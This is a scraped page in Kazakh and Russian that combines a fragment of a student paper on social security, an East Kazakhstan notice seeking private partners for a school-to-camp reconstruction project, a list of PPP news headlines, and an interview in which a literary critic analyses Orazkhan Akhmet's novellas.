(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
2 Әлеуметтік қамсыздандырудың түрлері
Ақша құралдарының қайнар көзіне қарамастан, мемлекеттік әлеуметтік қамсыздандыру келесі түрлерде жүзеге асырылуы мүмкін:
(Продолжение скрыто) Курсовые РК скачать, курсовая Казахстан скачать, контрольные РК скачать, контрольная Казахстан скачать, рефераты для РК, реферат для Казахстана
Әлеуметтік қорғау – бұл жынысына қарамастан адамның әлеуметтік, экономикалық, саяси және өзге де құқықтары мен кепілдіктерін қамтамасыз етуге бағытталған мемлекет саясаты.
Қолданыстағы заңдарда әлеуметтік қорғау түсінігі салыстырмалы түрде тар мағында пайдаланылады: ол адамның өмір сүру саласындағы құқықтары мен кепілдіктерін қамтамасыз етуге бағытталған мемлекет саясатын білдіреді. Сонымен, бір мезетте халықты әлеуметтік қорғау концепциясы, мемлекеттің күрделі жағдайларға ұшыраған кез келген азаматқа оның еңбек стажына, зейнетақы жарналарының мөлшеріне және т.б. қарамастан беретін кепілдіктерін заңшығармашылық тұрғыдан бекітілуінен тұрады. |
ГУ «Управление образования Восточно-Казахстанской области» 070004 Республика Казахстан, Восточно-Казахстанская область, город Усть-Каменогорск, ул. Казахстан 59/1, объявляет о начале подготовки проекта государственно-частного партнерства «Реконструкция здания школы с.Приморское Катон-Карагайского района ВКО с возможностью организации детского пришкольного лагеря» и приглашает потенциальных частных партнеров к обсуждению Концепции проекта.
Объект ГЧП: здание школы с.Приморское реконструированное под детский пришкольный лагерь с возможностью организации, вместимостью 50 человек, расположенное по адресу: ВКО, Катон-Карагайский район, с. Приморское, ул. Шоссейная 10.
Условия проекта: инвестиции частного партнера в объеме 50% от стоимости проекта ГЧП.
Срок реализации проекта – не менее 3 (трех) лет.
Источники возмещения затратв соответствии с п. 2 со статьей 9 Закона РК «О государственно-частном партнерстве»: компенсация инвестиционных затрат в пределах определенного объема инвестиционных затрат частного партнера (50%).
Формы участия государственных органов согласно статье 27 Закона РК «О государственно-частном партнерстве»:
— софинансирование проекта ГЧП в объеме 50% от стоимости проекта.
Определение частного партнера осуществляется способом проведения конкурса в упрощенном порядке (предварительно) на основании ст.43 Закона РК «О государственно-частном партнерстве».
Более подробную информацию о планируемом проекте можно получить в ГУ «Отдел образования, физической культуры и спорта Катон-Карагайского района ВКО», ГУ «Управление образования Восточно-Казахстанской области», а также в АО «Региональный центр государственно-частного партнерства Восточно-Казахстанской области».
Предложения по проекту принимаются в срок до 01 июля 2017 года.
Контакты:
ГУ «Отдел образования, физической культуры и спорта Катон-Карагайского района ВКО»
тел.: Контактный телефонный номер: 8 (72341) 2-90-57, телефон доверия: 8 (72341)2-14-40, e-mail: katon_rayoo@mail.ru, katonkaragay@akimvko.gov.kz
Управление образования Восточно-Казахстанской области: тел.: Контактный телефонный номер: 8 (7232)705942, e-mail: shkolny_otdel@mail.ru
АО «Региональный центр государственно-частного партнерства Восточно-Казахстанской области»: тел.: 8 (7232) 26-43-32, e-mail: ppp.invest@mail.ru
Другие новости
Шығыс Қазақстан облысы Ауыл шаруашылығы басқармасының «Самар-Вет» ШЖҚ КМК құру жобасы бойынша мүдделерін білдіру туралы сұрау салу
«Шығыс Қазақстан облысы Самар ауданының «Бос уақыт орталығы» коммуналдық мемлекеттік қазыналық кәсіпорынын құру» туралы жоспарланған жобаға мүдде білдіру сауалы
Абай облысының Денсаулық сақтау басқармасының «Облыстық психикалық денсаулық орталығы» ШЖҚ КМК құру жобасы бойынша мүдделерін білдіру туралы сұрау салу
«Глубокое ауданы Глубокое кентінде жылу көзін салу» МЖӘ жобасы бойынша екі кезеңді конкурстық рәсімдерді пайдалана отырып жекеше әріптесті айқындау жөніндегі конкурс өткізу туралы хабарландыру
ШҚО Глубокое ауданындағы Глубокое ауылында жылу көзінің құрылысы» жоспарланаған МЖӘ жобасы бойынша мүдделерін білдіру туралы сұрау
«Өскемен қаласында Сәтпаев даңғылы, 53 бойынша 320 орынға арналған үлгілік жоба бойынша балабақша салу және пайдалану» МЖӘ жобасы бойынша екі кезеңді конкурстық рәсімдерді пайдалана отырып жекеше әріп
«Өскемен қаласында Вострецов көшесі 4/2 бойынша 240 орындық үлгілік жоба бойынша балабақша салу және пайдалану» МЖӘ жобасы бойынша екі кезеңді конкурстық рәсімдерді пайдалана отырып жекеше әріптесті а
«Өскемен қаласында Есенберлин даңғылы бойынша 19 тұрғын ауданының 2-кварталы 47-позиция бойынша 240 орындық үлгілік жоба бойынша балабақша салу және пайдалану» МЖӘ жобасы бойынша екі кезеңді конкурсты
«Өскемен қаласында Есенберлин даңғылы бойынша 19 тұрғын ауданының 4-кварталы 84-позиция бойынша 240 орындық үлгілік жоба бойынша балабақша салу және пайдалану» МЖӘ жобасы бойынша екі кезеңді конкурсты
«Өскемен қаласында Өтепов көшесі бойынша №36 үйдің ауданында үлгілік жоба бойынша 240 орындық балабақша салу және пайдалану» МЖӘ жобасы бойынша екі кезеңді конкурстық рәсімдерді пайдалана отырып жекеш
Абай облысы ветеринария басқармасының шаруашылық жүргізу құқығындағы «Ақсуат-Вет» коммуналдық мемлекеттік кәсіпорнын құру» жоспарланып отырған жобасы бойынша мүддені білдіруге сұрату
Абай облысы Білім басқармасының «Дарын» облыстық дарындылықты дамыту және қосымша білім беру ғылыми-әдістемелік орталығы» коммуналдық мемлекеттік қазыналық кәсіпорнын құру» жоспарланып отырған жобасы
240 және 320 орындық балабақшаларды салу және пайдалану жоспарланаған жобалары бойынша қызығушылық білдіруге сұрау салу
Жарғылық капиталы мемлекеттің қатысуымен «Абай» әлеуметтік-кәсіпкерлік корпорациясы» акционерлік қоғамын құру жобасы бойынша мүдделерін білдіру туралы сұрау салу
Жарғылық капиталы мемлекеттің қатысуымен «Ертіс» әлеуметтік-кәсіпкерлік корпорациясы» акционерлік қоғамын құру жобасы бойынша мүдделерін білдіру туралы сұрау салу
Жарғылық капиталы мемлекеттің қатысуымен «Абай» әлеуметтік-кәсіпкерлік корпорациясы» акционерлік қоғамын құру жобасы бойынша мүдделерін білдіру туралы сұрау салу
Жарғылық капиталы мемлекеттің қатысуымен «Ертіс» әлеуметтік-кәсіпкерлік корпорациясы» акционерлік қоғамын құру жобасы бойынша мүдделерін білдіру туралы сұрау салу
Жоспарланатын "Жарма су "жауапкершілігі шектеулі серіктестігін құру"жобасы бойынша мүдделерді білдіруге сұрау салу
Шығыс Қазақстан облысы білім басқармасының «Шемонаиха колледжі» коммуналдық мемлекеттік мекемесін Шығыс Қазақстан облысы білім басқармасының «Шемонаиха колледжі» коммуналдық мемлекеттік қазыналық к
Шығыс Қазақстан облысы білім басқармасының «Өскемен құрылыс колледжі» коммуналдық мемлекеттік мекемесін Шығыс Қазақстан облысы білім басқармасының «Өскемен құрылыс колледжі» коммуналдық мемлекеттік қ
Шығыс Қазақстан облысы білім басқармасының «Алтай ауданының ауыл шаруашылығы колледжі» коммуналдық мемлекеттік мекемесін «Алтай ауданының ауыл шаруашылығы колледжі»жауапкершілігі шектеулі серіктестіг
Шығыс Қазақстан облысы білім басқармасының «Глубокое аграрлық колледжі» коммуналдық мемлекеттік мекемесін Шығыс Қазақстан облысы білім басқармасының «Глубокое аграрлық колледжі» коммуналдық мемлекет
Тікелей келіссөздер арқылы Шығыс Қазақстан облысының мұқтаж азаматтарының жекелеген санаттары үшін «KARAGAILY» шипажайы» «СМСМ базасында санаторлық-курорттық емдеуді ұйымдастыру» мемлекеттік-жекешелік
Мемлекеттік-жекешілік әріптестік жобасы бойынша жекеше әріптесті айқындау жөніндегі конкурсты өткізу туралы хабарлама
Шығыс Қазақстан облысы Курчатов қаласының 120 орындық "Тополек " балабақшасын қайта құру" МЖӘ жобасы бойынша конкурс өткізу туралы хабарландыру»
«Семей қаласында фотобейнетіркеу және бейнеталдау жүйесін құру және пайдалану» МЖӘ жобасына бастамашылық жасау туралы хабарлама
«Өскемен қ. Есенберлин дғ. бойынша 19 тұрғын ауданының 4-кварталы бойынша 240 орындық үлгілік жоба бойынша балабақша салу және пайдалану» жеке әріптесін анықтау үшін қызығушылық білдіруге сұрау салу
Жоспарланып отырған "Шығыс Қазақстан облысы Алтай ауданының мектеп асханаларын жаңғырту" МЖӘ жобасы туралы қызығушылық білдіру туралы сұрау салу»
«Курчатов қаласында 120 орынға арналған «Тополек» балабақшасын реконструкциялау» МЖӘ жоспарланып отырған жобасы бойынша мүдделерді ұсынуға сұрау салу
«Қызыл ту» Паромдық өткел кешенін қызмет көрсетуге беру» мемлекеттік-жекешелік әріптестік жобасы бойынша мүдделерді білдіруге сұрау салу
Коммуналдық білім беру ұйымдарын мемлекеттік мекемелерден шаруашылық жүргізу құқығындағы мемлекеттік кәсіпорындарға айналдырудың алғышарттары мен қажеттілігі
«Семей қаласында 500 көрерменге арналған мінбелерімен мұз модулін салу және пайдалану» мемлекеттік-жекешелік әріптестік жобасы туралы хабарлама
«ШҚО Бесқарағай ауданының сәулет, құрылыс, тұрғын үй-коммуналдық шаруашылық, жолаушылар көлігі және автомобиль жолдары бөлімі» мемлекеттік мекемесінің шаруашылық жүргізу құқығындағы «Beskaragai» МКК қ
«Өскемен қаласында 300 төсектік көпсалалы аурухананы салу және пайдалану» концессиялық жобасы бойынша концессионерді таңдау жөніндегі конкурсты қайта өткізу
Өскемен қаласындағы мектептердің асханасы мен ас блогын жаңғырту жөніндегі 44 мемлекеттік-әріптестік жобалары бойынша конкурсты өткізу туралы хабарландыру
«Семей қаласында 500 көрерменге арналған мінбелерімен мұз модулін салу және пайдалану» мемлекеттік-жекешелік әріптестік жобасы туралы хабарлама
Өскемен қаласында қоғамдық көлікте автоматтандырылған бақылау жүйесін және жол жүру төлемін енгізу және сүйемелдеу МЖӘ жобасы бойынша конкурс өткізу туралы хабарлама
«Өскемен қаласындағы мектеп асханаларындағы ас әзірлейтін бөліктерді жаңғырту және қызмет көрсету» жоспарланған МЖӘ жобасы туралы қызығушылықты білдіру жөніндегі хабарлама
«ШҚО Семей қаласының тұрғын үй-коммуналдық шаруашылық және тұрғын үй инспекциясы бөлімі» мемлекеттік мекемесінің шаруашылық жүргізу құқығындағы «СемейГаз» МКК құру» жоспарланып отырған жобасы бойынша
Мемлекеттік-жекешелік әріптестік жобасы бойынша жекеше әріптесті айқындау жөніндегі конкурсты өткізу туралы хабарлама
«Семей қаласында жасанды мұздан спорттық мұз алаңын ұйымдастыру» мемлекеттік-жекешелік әріптестік жобаға бастамашылық ету туралы хабарлама
«Курчатов қаласында 120 орынға арналған «Тополек» балабақшасын реконструкциялау» МЖӘ жоспарланып отырған жобасы бойынша мүдделерді ұсынуға сұрау салу
«ШҚО Глубокое ауданындағы Глубокое ауылында жылу көзінің құрылысы» жоспарланып отырған МЖӘ жобасы бойынша мүдделерін білдіру туралы сұрау
«Шемонаиха су арнасы» жауапкершілігі шектеулі серіктестік құру» жоспарланып отырған жобасы бойынша мүдделерін білдіруді сұрау
«Мемлекеттік – жеке меншік әріптестік аясында Өскемен қаласындағы индустриялық аймақтарды басқару кәсіпорнын құру» жоспарлаған жобасы бойынша мүдделерді ұсынуға сұрау салу
«KARAGAILY» шипажайының базасында зейнеткерлік жасқа толған жандарға арналған әлеуметтік қызметтерді ұйымдастыру» мемлекеттік-жекешелік әріптестік жобасын бастамашылық ету жөнінде ХАБАРЛАМА
МЖӘ жоспарлаған жобасы бойынша мүдделерді ұсынуға сұрау салу
МЖӘ жобасы бойынша конкурсты өткізу туралы хабарландыру
«ШҚО АҚСУ АУЫЛЫНДА СПОРТ ЗАЛ САЛУ ЖӘНЕ ПАЙДАЛАНУ» МЖӘ ЖОБАСЫ БОЙЫНША ӘЛЕУЕТТІ ЖЕКЕШЕ ӘРІПТЕСТЕРДІ КОНКУРСҚА ҚАТЫСУҒА ШАҚЫРАДЫ
«ДЕЛЬФИН БӨБЕКЖАЙ БАЛАБАҚШАСЫН СЕНІМДІ ПАЙДАЛАНУҒА БЕРУ» МЖӘ ЖОБАСЫ БОЙЫНША ӘЛЕУЕТТІ ЖЕКЕШЕ ӘРІПТЕСТЕРДІ КОНКУРСҚА ҚАТЫСУҒА ШАҚЫРАДЫ
«ШҚО ПРИМОРСКОЕ АУЫЛЫНДАҒЫ МЕКТЕП ҒИМАРАТЫ ЖАНЫНДАҒЫ БАЛАЛАР ЛАГЕРІ ЕТІП ҚАЙТА ҚҰРУ» МЖӘ ЖОБАСЫ БОЙЫНША ӘЛЕУЕТТІ ЖЕКЕШЕ ӘРІПТЕСТЕРДІ КОНКУРСҚА ҚАТЫСУҒА ШАҚЫРАДЫ
Білім саласында мемлекеттік-жекешелік әріптестік жобасына қатысты бастама туралы хабарлама
Азия даму банкі өкілдігінің директоры Д. Капаннелимен бірге ШҚО басым жобаларын қарау
Шығыс Қазақстан облысының әкімі Даниал Ахметов жұмыс сапарымен Ұлыбританияда жүр
«Өскемен қаласында фотобейнебелгілеу және бейнеталдау жүйесін құру және пайдалану» мемлекеттік-жекешелік әріптестік жобасының бастама алуы туралы хабарлама
Жоспарланып отырған МЖӘ жобасы бойынша қызығушылықты білдіру сауалы
Жоспарланып отырған МЖӘ жобасы бойынша қызығушылықты білдіру сауалы
«Өскемен қаласының қалалық ипподромын кейіннен жаңғырта отырып сенімді басқаруға беру» жобасы бойынша МҮДДЕ БІЛДІРУ СҰРАНЫСЫ
Жоспарланып отырған МЖӘ жобасы бойынша қызығушылықты білдіру сауалы
Жоспарланып отырған МЖӘ жобасы бойынша қызығушылықты білдіру сауалы
«Өскемен қаласында 300 төсектік көпсалалы аурухананы салу және пайдалану» жобасы бойынша конкурсты өткізу туралы хабарландыру
«ШҚО Зырян ауданы Зырян қаласының аудандық қазандығын реконструкциялау» жобасы бойынша конкурсты өткізу туралы хабарландыру
Mемлекеттік-жекешелік әріптестік жобасы бойынша мүдделерді білдіру сұранымы
Қызығушылықты білдіру сауалы
Мемлекеттік-жекешелік әріптестік жобасына бастамашылық жасау туралы хабарлама
Мемлекеттік-жекешелік әріптестік жобасының бастамасы туралы хабарлама
Қызығушылықты білдіретін сұрау салу (спорт залы)
Қызығушылықты білдіретін сұрау салу
Жоспарланатын жоба туралы қызығушылықты білдіру сауалы
Қызығушылықты білдіретін сұрау салу
Қазақстанда азаматтардың Кореяда емделуден бас тарту тәсілін тапты
Денсаулық сақтау саласына МЖӘ түтігін енгізу инфрақұрылымды дамытуға жағдай жасауға мүмкіндік береді
Күзет агенттігі 1 млрд. теңгеден артық соманы мектептердің қауіпсіздігіне бөледі
Астанада жаңа МЖӘ қағидалары түсіндірілді
Әрқашан өзекті сумен жабдықтау және су тарту мәселелері талқылануда
ШҚО мен ЕҚДБ 11 млрд теңгені құрайтын келісімшартқа қол қойды
Селекторлық кеңес өткізілді
Шығыс Қазақстанда «Алтай Агро Invest - 2015» халықаралық инвестициялық форумы өтті
Қалалық және аудандық мәслихаттар хатшыларымен өткен оқыту семинары
Мемлекеттік-жеке меншік әріптестік аясында білім саласындағы бизнес
Балабалақшаларға – ақ жол
ИНВЕСТОРЛАРДЫҢ НАЗАРЫНА!
«ШҚО өңірлік мемлекеттік-жеке меншік әріптестік орталығы» АҚ ұйымдастырған семинар сәтті өтті
Шығыс Қазақстан облысының мемлекеттік -жеке меншік әріптестік орталығының білім беру саласындағы концессиялық жобалары
Шығыс Қазақстан облысының өңірлік мемлекеттік жеке-меншік әріптестік орталығының өкілдерімен жаңа семинарлар көңілдегідей ұйымдастырылды. |
Талдаубек Әшімханұлы белгілі ғалым, әдебиеттанушы, сыншы, филология ғылымдарының докторы. «Қазақ афоризмдері» монографиясы мен «Алтын жағалау» атты әдебие танымдық кітаптардің авторы. Сыншы соңғы уақытта, қазақтың классик жазушыларының шығармалары туралы, жүйелі, толыққанды сын-сараптар жасап жүр. Біз Талдаубек Әшімханұлын арнайы сөзге тартып, оқырманға «Көкбелес», «Құмдағы іздер», «Аманат» сынды романдарымен кеңінен танылған жазушы Оразхан Ахметтің шығармашылық әлемі төңірегіндегі сауалдарымызды жолдаған едік.
- Оқырмандар арасында, жазушы Оразхан Ахметтің шағын әңгімелерінен гөрі, көлемді хикаяттары мен романдары туралы жиі айтылады. Әңгімемізді осыдан бастасақ аға?
- Әр жазушының бағын ашар тақырыбы, оң жамбасына келер жанры болады. Бір жазушының таланты шағын жанрда айқындалса, енді бірінің парасат биігі, суреткерлігі шалқар тынысты эпикалық дүниемен ашылады. Қазақ әдебиетінде Бейімбет Майлин, Тәкен Әлімқұлов, Сайын Мұратбеков секілді жазушылардың таланты әңгіме жанрында айырықша көрілсе, Әбіш Кекілбаев, Оралхан Бөкейев, Қабдеш Жұмаділов, Дулат Исабековтер өзге жанрға қарағанда, повесть жанрында көбірек қалам тартты. Қырғыз халқының заңғар жазушысы Шыңғыс Айтыматовтың бағын ашқан, әлемге танытқан шығармалары да – повесть жанрында болды. Атағын бірден шығарған «Жамиладан» кейінгі «Ақ кеме», «Қош бол, Гүлсары», «Теңіз жағалай жүгірген тарғыл төбет», «Шынарым менің, шырайлым менің» повесттері жазушының ойшылдығын, суреткерлік кемелденген болмысын пәш еткен айтулы шығармалар еді. Қытай қазақ әдебиетінде повесть жанрында өндіре қалам тартқан жазушының бірі – Оразхан Ахметов.
- Ол кісі шығармашылық жолында қай тақырыпта көбірек ізденді?
- Оразхан Ахметовты жазушы ретінде танытқан, есімін келешекке апарар, жұрт көңілінен орын табар ең сүбелі шығармалары – повесттері дер едік. Өйткені, жазушы қаламынан туған жирмадан астам повесттердің көркемдік деңгейі жағынан, жанр өлшем талабына жауап беру тұрғысынан көңіл көншітерлік тұстары көп. Повесттерінің тақырыбы әр алуан болғанымен, негізгі деталын ауыл өмірінен алып жазды. Ондағы алқа-салқа адал жандардың өмірін, мінез-болмысын суреттеді. Сондай-ақ, заманның, қоғамның адамдар санасына жасаған әсерін, өзгерісін айта отырып, жалпы адамзаттық құндылықтарды, қоғамдық-әлеуметтік мәселелерді көтерді. Жазушы Оразхан Ахмет «Кәсіп таңдаған адам» повестінде 1970 жылдардағы қоғам өмірінің, адам сана деңгейінің бір қырын көрсете отырып, күрделі әлеуметтік жағдайдың астарын, адамдар арасындағы қарым-қатынастың шиленіскен тұстарын жанды детальдармен ашып береді.
- Осы шығармасы туралы айта отырсаңыз?
- Көркем әдебиет – образға құрылады. Ал, образды ой – форма немесе тәсіл арқылы іске асады. Жазушыға идеяалық мақсатын іске асыратын ұтымды тәсіл таба білу – шеберлікке апарар кілт. Әрі қаламгердің парасатын, сартабан суреткерлігін танытатын маңызды түйін. Аталған хикаятында, жазушы көркем идеясын бейнелеп жеткізудің ретін, ұтымды әдісін тапқан. Хикаяттың алғашқы сөйлемі «Мысық мұрт, бадырақ көз қара кісі бөлімге есік қақпастан тасыр-тұсыр кіріп келді» деп кейіпкер портреті мен қимылын берумен басталады. Шығарманы оқиғаға тіке қатысты кейіпкердің жайынан аңдату жасап бастаудың өзіндік мәні зор. Бұл жазушы шеберлігінің бір қыры ретінде әдебиетте көп ұшырасып жүрген құбылыс. Адамның сыртқы тұлғасы мен әрекеті оның жан дүниесінен хабар береді. Мынадай сықпыт пен тасыраңдаған мінезден кейіпкердің кейінгі оқиғада қалай болатынын бірден мөлшерлейміз. Хикаят – «Меннің» атымен басталғанымен, тұтас оқиға тізгіні орталық кейіпкер Кемелдің қолына өтеді, соның ауызымен шертіледі. Кейіпкер Кемел – дәуірдің туындысы, заман сомдаған жиынтық бейне. Таратып айтсақ, Кемел арқылы сол тұстың яғни Қытай қоғамының 1970 жылдардағы қоғамдық жағдайының шындығынан сыр суырады. Жазушы тек осы повесітіне ғана емес, 1960-1970 жылдардағы тарихи жағдайларды астар еткен өзге шығармаларына да, жазықсыз жазалалы болып, азап шеккен жандар мен айлакерлікпен жала сауған жағымысз образдар арасындағы қайышылықтарды көбірек оқиғаның арқауы етеді. Адамдар арасындағы қым-қиғаш тартыстарды суреттей отырып, қоғам бойындағы келеңсіздікті әшкерелейді. Адам бойындағы табиғи қасиеттердің жұтаңдауы, күрделі өзгерістерге ұшырауының мәні тереңде жатқанын жазушы Оразқан Ахметов көркем образ арқылы аңдатады. Байқап отырсақ, Оразхан Ахметов қаламынан туған әр туындыдан жазушы өмірінің айқын ізі байқалады. Хикаяттың фоны ретінде алынған кезең мен оқиғалардың бірталайы жазушы өзі басынан өткерген, куә болған жағдайлар екендігіне шығармаларды талдау барысында көз жеткіземіз. Кезінде автордың өзі де дәл осы хикаятында суреттелген кейіпкерлер – Кемел, Серікбайлар сияқты пәлешіл жандардың жәбіріне ұшыраған-ды. Жазушының көбінесе өз өмірінің соқпақты тұстарына айналып соға беретіні, басына бұлт үйірген заманның кескінін есінен шығара алмауы да заңды еді. Осы көріністерді хикаятта шағын эпизодтармен аңдатып өтетін тұстары кездеседі. Мысалы: «Төлеутайдың қойын дәптері» деген эпизодта көп сыр жатыр. Бұл – шығарманың жай ғана қажеті үшін алына салынған эпизод емес. Онда жазушымен ұқсас күй кешкен өнер адамдарының тағдырының шындығы жұмбақталып, мәдениет пен өнерге жауыға қараған заманның сиқы аяусыз мысқылмен әшкерленеді.
Бұл арада, өмір шындығын шағын деталь, бір үзім эпизодпен бүлік еткізіп айтып өту – Оразхан Ахмет жасампаздық шеберлігінің бір қыры ретінде көрініс табады. Бұл әрине, идеяны астарлап, симовлдап жеткізудің, оқырманға ой тастап отырудың бір жолы. Хикаятта кейіпкер аузынан берілетін мынадай толғамды тұжырым бар: «Қанша сарпалдаңға түсіп, атақ-даңқ жолында арпалыссаң да, түбінде бір күпті боп жирене қарайсың. Сол үшін төгілген тер, жұмсаған қайрат-жігеріңе өкініп, опық жейсің. Жалаудай бұлғаңдап көз тартып, көңіл аудара беретін сол құрдым атақтың шіріген мұнарадай құлап түсіп, мәңгі ғайып болуын тілейсің». Алдамшы дүниенің даңғаза тірлігіне ерген пенде шіркін де өтеді өмірден. Жалған атақпен жалпақтаған тырашты тірлігің де уақыт иірімінде жермен жексен болып тынады. Өзгермес, бүлінбес дүние – шын өнер деп тұрғандай жазушы бұл эпизодында.
- Сіз үшін сынның мұраты не?
- Әдеби сынның мұраты – жазушы жасампаздығының жетістіктері мен «Әттеген-ай» тұстарын ғылыми тұрғыдан саралаумен ғана тынбайды. Жазушы еңбегінің әдеби дамуға қосқан үлесін ашып беруге міндетті. Сонымен бірге, әдеби сын – әдеби құбылыстың даму барысындағы өзекті теориялық мәселелерді негізге ала отырып, әлеуметтік ірі жағдайаттар жайында түйінді тұжырымдар ұсынады. Сол арқылы әдебиеттің дамуына жетекшілік, қозғаушылық етеді. Міне, осы мақсатқа орай жазушының стильдік қолтаңбасы айқындалған соңғы кездегі басты-басты бірқанша повесттерін ала отырып, ғылми тұрғыдан ішкерлей талдауға көшеміз.
- Енді жазушының алғашқы повесттері туралы ой-пікіріңізді білсек?
- Жазушы Оразхан Ахметовтің аралық жанрдағы ырым алдысы – «Алыстағы оттар» мен «Ең соңғы көз жас» повесттері. Әңгіме жанрында екі жинағы жарық көріп, қаламы төселе бастаған тұста жазған жазушының бұл повесттері көркемдік жағынан да, көтерген тақырыбы жағынан да едәуір салмақты туынды қатарында. «Алыстағы оттар» - автордың балалар әдебиеті жанрындағы көлемді еңбегі саналады. Ауылдағы ата мен әженің қолында өскен бала Қанатты қалада тұратын әке-шешесінің алып қайтуы, баланың ауылға қайта қашу барысы – повесттің негізгі оқиғалық арқауы ретінде алынғанымен, жазушының мақсаты ауыл баласының өмірін ғана жазып шығу емес еді. Повесть көп қабатты астарлы идеяларға құрылғаны байқалады. Баланың ата мен әженің бауырында тәрбиеленуі – қазақ өміріндегі ертеден келе жатқан дәстүрлә салт пен таным. Жазушы әуелі кейіпкер Қанаттың мінезі арқылы өзге ластан, былық-шылықтан алыс ауылдың «атмосферасымен» тыныстап өскен баланың жаны таза болатынын айтқысы келген. Екіншіден, ауыл өмірін, сахараны көріп өскен баланың көкжиегі кең, өз халқының этнографиялық өмірімен де қала балаларына қарағанда біртабан етене таныс болып, санасына сіңіруге мүмкіндік алады. Бұл әрине, оқиғаға орай алға шыққан көзқарас болғанымен, повесттің ең негізгі түйіні, автордың басты мақсат еткен көркем идеясы Қанаттың қаладағы әке-шешенің қолына барғаннан кейінгі оқиғаларға сәйкес көрнектіленеді. Өзінің ұлттық рухани тамырынан ажырап, тексізденіп бара жатқан ұрпақтардың мінез-болмысын, қоғамдық жүйенің адамдар санасына жасаған ықпалын кейіпкер бала Қанаттың көзіммен бақылатып, бала ойы арқылы ашады. Жазушы адамдардың рухани дүниесінің жұтаңдап, дүниенің қызығы да, тұтқасы да байлық пен атақ, мансап пен дәреже деп білетін тоғышарлық идея бойларын жайлай бастағанын Қанаттың әке-шешесінің тірліктері арқылы көрсетеді. Қалада әке-шешесімен бірге тұрып жатқан Қанаттың тумалас ағасының содырлығы, қонаққа шақырылған әке-шешесімен еріп келген әкім баласының оспадарлығы, сондай-ақ, әжесінің тәрбиесіндегі қалаға көшіп келген ауыл баласы Бәкеннің болмысы бәрі-бәрі де Қанат көзімен бақылана отырып, көркемдік салыстырулар, психологиялық талдаулар жасалады. Байқап отырсаңыз, қалада өскен бала мен ауыл қарияларының тәрбиесіндегі баланың мінезі басқаша болып жетілгенін көреміз. Қанаттың досы ретінде алынған Бәкен туралы эпизод көркемдік идеяны аша түсу үшін өте орынды алынған. Бәкеннің әжесін де тілге алып өтуінің де, қала баласы мен ауыл баласын салыстра айтуының да үлкен идеялық мәні бар. Автор тәрбие негізінің қайнары – ұлттық рухани тамырда, соның көзі болған ауылда екендігін аңдатады. Әкім баласының бала Қанатқа жасаған дөрекілігі – тек ата-анасының тәрбиесі ғана емес, қоғамдық ортаның бір кемшін тұсы, өкінішті ісі еді. Адамзатқа керекті барлық құндылықтарды тек заттық дүниенің қызығынан іздейтін өлексе мінездің жас ұрпақтардың қанына сіңіп бара жатқанын жазушы ашына отырып баяндайды.
«Алыстағы оттар» - жазушының тұсаукесер повесты болғанымен, недәуір сәтті жазылған шығарма. Жазушының жасампаздық ізденісінің, стильдік мәнерінің айқындала басталғандығының куәсі. Бұл - бала көзімен барлау жасай отырып, қоғамдық-әлеуметтік ірі мәселелерді көтере білген туынды. әсіресе, аталған повестте жазушының ұтқан жері – өмірлік детальды дәл тауып, орынды қолдана білгендігі. Көркемдік деталь – көркемдік кепілі, шеберлік шарты, парасат айғағы. Детальды саралай білу, орнын тауып қолдану – жазушы парасатын, суреткерлік шеберлігін танытады. Шығарманың көркемдік тұтастық тауып, сәтті шығуы үшін детальдың атқарар рөлі зор. Өмірлік көріністі көркемдік детальға құлпырта айналдыру жағындағы жазушы шеберлігі повесть тіліндегі жадағай сезілетін аздаған олпы-солпылықтары да білдірмей кеткен.
- Бұл кемшіліктер «Ең соңғы көз жас» шығармасында да қайталана ма?
«Алыстағы оттар» жинағына қатар еніп, бір мезгілде жазылған жазушының аралық жанрдағы көлемді туындысы «Ең соңғы көз жас». Бұл повестьте жазушы жалпы адамзатқа ортақ міндет саналатын экологиялық ортаны қорғауды басты тақырып етеді. Мәселе тақырыптың көтерілуінде емес, автор ойға алғанын нендей әдіс, қандай көркемдік деңгейде суреттеп жеткізе алды дегенге тіреледі. Көркем идея – образбен, терең психологиялық талдаулармен жеткізілсе, шығарманың сапалы шыққаны. Жазушының жалаңдықтан аулақтап, суреткерлік қуатының артқаны. Жазушы Оразхан Ахмет оқиғаны жай жалаулатып авторлық баяндаумен сыдырта бермей, көркем идеясын жеткізудің оңтайлы жолын қарастырған, бұл ретте тапқан сүрлеуі – кейіпкердің жан дүниесіне психологиялық талдаулар жасай отырып, көркемдік шындықты жанды көрсетуге тырысады.
Повесть оқиғасы – өмір бойы табиғатты козқарашығындай қорғап, адал өткен Бөкей қарттың басынан кешкен өмірінің белгілі-белгілі тұстары қарт қиялымен елестетіле отырып баяндалады. Көркем әдебиетте, психологизмге, оның көркемдік компоненттері – портрет, пейзаж, ішкі монолог, ишаралау, түс көру, елестету сияқты тәсілдерге иек арту – жазушы стилінің даралығын, суреткерлік парасатын көрсететін маңызды буындар екені белгілі. Автор шығармада кейіпкер Бөкей қартты бастан аяқ ішкі толғаныста ұстай отырып, көркемдік желіні тереңдете тартуға әрекет етеді. Мұндағы назар аударатын түйін: жазушының нені айтпағы ғана емес, адам жанының мың қатпарлы күрделі құбылсытарын ішкі монолог арқылы ашудағы жазушының суреткерлік шеберлігі болмақ!
Жазушы шығарманы бастаған жерден-ақ психологиялық талдауға көшеді. ішкі монолоктың бір елеменіті болып табылатын – еске алу, қиялымен барлау, лиырикалық шегініс жасауға сүйене отырып, қарт өмірінің белестеріне сапар шегеді. Оқырман жазушы қаламынан туған көркем туындыны оқығанда, суретші салған әсем картинаның сыртқы бояуын қызықтағандай әсермен ғана тынбауы керек. Оқырманға керегі көркем образбен, суреткерлікпен берілген құнды идея, жандүниесін арпалысқа салып толғандыратын мәнді, мағыналы мазмұн, философиялық терең ой. Повесттің бауыздау түйіні – адамзаттың алтын бесгі табиғатты аялауға тіреледі. Кейіпкер Жапарға байланысты эпизодтар – бүгінгі қоғамның шындығына сәйкес келетін біршама келеңсіздіктерді көрсетіп береді. Жеке басының мүддесі жолында экологялық ортаны бүлдірген азсанды азғындық жолына түскен жандарды сындай отырып, барлық адамды табиғатты қорғауға шақырады. Шығармада өз кіндігінен тараған ұрпақтың қия басып, қиянатты жолға түсуін қарт орманышы Бөкей өзінен көріп, тәрбиемнің жетерсіздігі деп санап рухани азапқа түседі. Алайда, бұл ойдың бір ұшы қоғамдық жүйе адамдар пиғылының бұзылуына тіке себепші болып отыр деген идеяға барып тоғысады.
